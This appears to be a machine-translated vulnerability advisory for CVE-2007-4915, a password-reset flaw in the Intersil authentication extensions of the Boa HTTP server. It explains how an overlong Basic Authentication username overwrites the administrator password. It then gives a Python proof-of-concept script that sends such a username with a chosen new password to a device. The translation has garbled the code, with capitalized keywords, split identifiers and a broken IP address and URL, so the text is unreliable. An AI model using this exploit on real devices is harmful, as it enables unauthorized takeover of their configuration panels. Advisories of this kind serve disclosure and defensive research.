Intersil (Boa) HTTPd Basic Authentication Password Reset Vulnerability

Release date:
Updated on:

Affected Systems:
Boa 0.93.15
Description:
--------------------------------------------------------------------------------
Cve id: CVE-2007-4915

Boa is an HTTP server for a single task.

Boa httpd does not have built-in authentication code, and there is a vulnerability in Intersil extensions. When HTTP Basic Authentication creden, are required, when a string larger than 127 characters is passed as the user name, it will occupy the stack memory of the boa process, and the string passed as the password will overwrite the memory value of the administrator password, causing the attacker to reset the password to a known value. After resetting, attackers can access the configuration panel.

<* Source: luca. carettoni

Link: http://www.securityfocus.com/archive/1/archive/1/479434/100/0/threaded
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/env python
Import urllib2

SERVER_IP_ADDRESS = '192. 168.0.1'
USERNAME = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owner'

Auth_handler = urllib2.HTTPBasicAuthHandler ()
Auth_handler.add_password ('login (default username & password is admin) ', SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD );
Opener = urllib2.build _ opener (auth_handler)
Urllib2.install _ opener (opener)
Res = urllib2.urlopen ('HTTP: // '+ SERVER_IP_ADDRESS +'/home/index.shtml ')

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Boa
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.boa.org